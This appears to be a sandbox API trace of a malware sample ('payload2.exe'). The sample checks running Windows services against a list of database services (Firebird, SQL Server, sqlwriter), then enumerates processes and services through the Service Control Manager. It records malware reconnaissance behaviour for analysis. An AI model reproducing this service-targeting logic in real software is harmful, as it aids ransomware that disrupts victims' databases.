	[0168.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0168.752] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0168.752] lstrlenW (lpString="NlaSvc") returned 6
	[0168.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0168.752] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0168.752] lstrlenW (lpString="nsi") returned 3
	[0168.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0168.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0168.752] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0168.752] lstrlenW (lpString="PcaSvc") returned 6
	[0168.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0168.753] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0168.753] lstrlenW (lpString="PlugPlay") returned 8
	[0168.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0168.753] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0168.753] lstrlenW (lpString="Power") returned 5
	[0168.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0168.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0168.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0168.753] lstrlenW (lpString="ProfSvc") returned 7
	[0168.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0168.753] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0168.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0168.753] lstrlenW (lpString="RpcEptMapper") returned 12
	[0168.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0168.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0168.754] lstrlenW (lpString="RpcSs") returned 5
	[0168.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0168.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0168.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0168.754] lstrlenW (lpString="SamSs") returned 5
	[0168.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0168.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0168.754] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0168.754] lstrlenW (lpString="Schedule") returned 8
	[0168.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0168.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0168.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0168.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0168.754] lstrlenW (lpString="SecurityHealthService") returned 21
	[0168.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0168.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0168.755] lstrlenW (lpString="SENS") returned 4
	[0168.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0168.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0168.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0168.755] lstrlenW (lpString="ShellHWDetection") returned 16
	[0168.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0168.755] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0168.755] lstrlenW (lpString="Spooler") returned 7
	[0168.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0168.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0168.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0168.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0168.756] lstrlenW (lpString="StateRepository") returned 15
	[0168.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0168.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0168.756] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0168.756] lstrlenW (lpString="SysMain") returned 7
	[0168.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0168.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0168.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0168.756] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0168.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0168.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0168.756] lstrlenW (lpString="Themes") returned 6
	[0168.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0168.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0168.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0168.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0168.756] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0168.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.757] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0168.757] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0168.757] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b7b8 | out: hHeap=0x610000) returned 1
	[0168.757] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac
	[0168.857] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0168.857] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0168.858] lstrlenW (lpString="System") returned 6
	[0168.858] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0168.858] lstrlenW (lpString="smss.exe") returned 8
	[0168.858] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.859] lstrlenW (lpString="csrss.exe") returned 9
	[0168.859] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0168.859] lstrlenW (lpString="wininit.exe") returned 11
	[0168.860] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.860] lstrlenW (lpString="csrss.exe") returned 9
	[0168.860] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0168.861] lstrlenW (lpString="winlogon.exe") returned 12
	[0168.861] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0168.861] lstrlenW (lpString="services.exe") returned 12
	[0168.861] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0168.862] lstrlenW (lpString="lsass.exe") returned 9
	[0168.862] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.862] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.862] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.863] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.863] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.863] lstrlenW (lpString="svchost.exe") returned 11
	[0168.863] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.864] lstrlenW (lpString="svchost.exe") returned 11
	[0168.864] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0168.864] lstrlenW (lpString="dwm.exe") returned 7
	[0168.865] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.865] lstrlenW (lpString="svchost.exe") returned 11
	[0168.865] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.866] lstrlenW (lpString="svchost.exe") returned 11
	[0168.866] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.866] lstrlenW (lpString="svchost.exe") returned 11
	[0168.866] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.867] lstrlenW (lpString="svchost.exe") returned 11
	[0168.867] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.867] lstrlenW (lpString="svchost.exe") returned 11
	[0168.867] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.868] lstrlenW (lpString="svchost.exe") returned 11
	[0168.868] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.869] lstrlenW (lpString="svchost.exe") returned 11
	[0168.869] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.869] lstrlenW (lpString="svchost.exe") returned 11
	[0168.869] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.870] lstrlenW (lpString="svchost.exe") returned 11
	[0168.870] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.870] lstrlenW (lpString="svchost.exe") returned 11
	[0168.870] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0168.871] lstrlenW (lpString="spoolsv.exe") returned 11
	[0168.871] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.871] lstrlenW (lpString="svchost.exe") returned 11
	[0168.871] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0168.872] lstrlenW (lpString="audiodg.exe") returned 11
	[0168.872] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0168.872] lstrlenW (lpString="sihost.exe") returned 10
	[0168.872] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.872] lstrlenW (lpString="svchost.exe") returned 11
	[0168.873] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.873] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.873] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0168.873] lstrlenW (lpString="msoia.exe") returned 9
	[0168.873] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0168.874] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0168.874] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0168.874] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0168.874] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0168.875] lstrlenW (lpString="Memory Compression") returned 18
	[0168.875] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0168.875] lstrlenW (lpString="explorer.exe") returned 12
	[0168.876] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0168.876] lstrlenW (lpString="SearchUI.exe") returned 12
	[0168.876] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0168.877] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0168.877] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0168.877] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0168.877] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0168.878] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0168.878] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0168.878] lstrlenW (lpString="payload2.exe") returned 12
	[0168.878] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0168.879] lstrlenW (lpString="cmd.exe") returned 7
	[0168.879] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0168.879] lstrlenW (lpString="conhost.exe") returned 11
	[0168.879] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0168.880] CloseHandle (hObject=0x4ac) returned 1
	[0168.880] Sleep (dwMilliseconds=0x1f4) 
	[0169.629] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668538
	[0169.630] EnumServicesStatusExW (in: hSCManager=0x668538, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0169.630] GetLastError () returned 0xea
	[0169.630] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x4473948
